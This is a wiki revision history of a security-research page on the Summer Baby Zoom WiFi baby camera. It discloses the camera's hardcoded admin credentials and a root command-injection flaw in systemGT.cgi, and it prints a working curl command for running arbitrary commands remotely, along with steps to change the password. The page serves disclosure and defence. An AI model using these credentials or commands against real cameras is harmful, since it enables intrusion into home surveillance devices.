Summer Baby Zoom WiFi - Revision history

Resno: Text replacement - "gtvcom-20" to "exploiteers-20"

2016-02-07T01:22:41Z

Text replacement - "gtvcom-20" to "exploiteers-20"

← Older revision		Revision as of 01:22, 7 February 2016
Line 7:		Line 7:
	== Purchase ==		== Purchase ==
	Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.		Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
	[http://www.amazon.com/gp/product/B00F5QTESS/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=B00F5QTESS&linkCode=as2&tag=~~gtvcom~~-20&linkId=LJH4EXDN4ZQDM3FY Purchase the Summer Baby Zoom WiFi Camera at Amazon]		[http://www.amazon.com/gp/product/B00F5QTESS/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=B00F5QTESS&linkCode=as2&tag=exploiteers-20&linkId=LJH4EXDN4ZQDM3FY Purchase the Summer Baby Zoom WiFi Camera at Amazon]

	== Disassembly ==		== Disassembly ==

Zenofex at 10:23, 17 August 2014

2014-08-17T10:23:11Z

← Older revision		Revision as of 10:23, 17 August 2014
Line 43:		Line 43:

	<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=COMMANDHERE"</pre>		<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=COMMANDHERE"</pre>


			== Demo ==
			{{#ev:youtube\|nvdoHAWX5aA}}

	== Fixing "Hard Coded" Credentials ==		== Fixing "Hard Coded" Credentials ==
Line 51:		Line 55:
	# Commit password changes made above.<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=nvram commit"</pre>		# Commit password changes made above.<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=nvram commit"</pre>
	# Finished!		# Finished!

	~~== Demo ==~~
	~~{{#ev:youtube\|nvdoHAWX5aA}}~~

Zenofex at 10:22, 17 August 2014

2014-08-17T10:22:47Z

← Older revision		Revision as of 10:22, 17 August 2014
Line 51:		Line 51:
	# Commit password changes made above.<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=nvram commit"</pre>		# Commit password changes made above.<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=nvram commit"</pre>
	# Finished!		# Finished!

			== Demo ==
			{{#ev:youtube\|nvdoHAWX5aA}}

Zenofex: 1 revision: Moving from DC22 to main site.

2014-08-17T08:22:41Z

1 revision: Moving from DC22 to main site.

← Older revision		Revision as of 08:22, 17 August 2014
(No difference)

Zenofex at 15:37, 5 August 2014

2014-08-05T15:37:39Z

New page

__FORCETOC__
{{Disclaimer}}
[[File:Summer_Baby_Zoom_WiFi.jpg|200px|left|thumb]]
[[Category:Cameras]]
This page will be dedicated to a general overview, descriptions, and information related to the Summer Baby Zoom WiFi Camera.

== Purchase ==
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
[http://www.amazon.com/gp/product/B00F5QTESS/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=B00F5QTESS&linkCode=as2&tag=gtvcom-20&linkId=LJH4EXDN4ZQDM3FY Purchase the Summer Baby Zoom WiFi Camera at Amazon]

== Disassembly ==

== UART ==
The pin-out for UART can be found on the images below.
<gallery>
File:SummerBabyZoomWiFi-UART.jpg
</gallery>

== Hardcoded MFG Credentials ==

The Summer Baby Zoom WiFi has an administrative username and password that can be used to access the cam and which does not change. This set of credentials is one of 3 sets with the other 2 being specific to the camera itself and matching the password listed on the camera.

* '''Hardcoded Username''': <code>MsC@dm1n!</code>
* '''Hardcoded Password''': <code>Auth3nt1c@T3</code>

[[File:Summer_Baby_Zoom_WiFi_Hardcoded_Credentials.png|800px]]

'''Other Accounts'''

The two accounts which use the password listed on the camera are:

* '''Normal Priviledged Username''': <code>V13w3r</code>
* '''Admin Username''': <code>SnApAdm1n</code>

[[File:Summer_Baby_Zoom_WiFi_Hardcoded_Credentials_2.png|400px]]

== Command Execution Through systemGT.cgi ==
The "systemGT.cgi" script contains a method of executing commands as a root user on the Summer BabyZoom WiFi.

[[File:Summer_BabyZoom_WiFi_Command_Execution.png|400px|disassembly from a systemGT handling function from "/bin/mini_httpd"]]

In the image above you can see that the value supplied within the posted "systemGT" variable is combined with an ampersand and executed with the imported "system" function call. This allows us to use the following curl call to execute commands remotely on the device.

<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=COMMANDHERE"</pre>

== Fixing "Hard Coded" Credentials ==
Since the credentials are stored in nvram the process to change them is easy but could lead to some issues with the main binary that runs on the device. However if you wish to proceed the process is simple and can be done leveraging the systemGT script.

To fix follow these instructions:
# On a Linux or OSX machine enter the following command to change the password to your desired password. <pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=nvram set UserSetSetting.userList.users1.password%3DNEW_PASSWORD_HERE"</pre>
# Commit password changes made above.<pre>curl -u 'MsC@dm1n!:Auth3nt1c@T3' "http://<IP-OF-CAMERA/cgi-bin/systemGT.cgi" -d "systemGT=nvram commit"</pre>
# Finished!

Summer Baby Zoom WiFi​​ - Revision history

Resno: Text replacement - "gtvcom-20" to "exploiteers-20"

Zenofex at 10:23, 17 August 2014

Zenofex at 10:22, 17 August 2014

Zenofex: 1 revision: Moving from DC22 to main site.

Zenofex at 15:37, 5 August 2014

Summer Baby Zoom WiFi - Revision history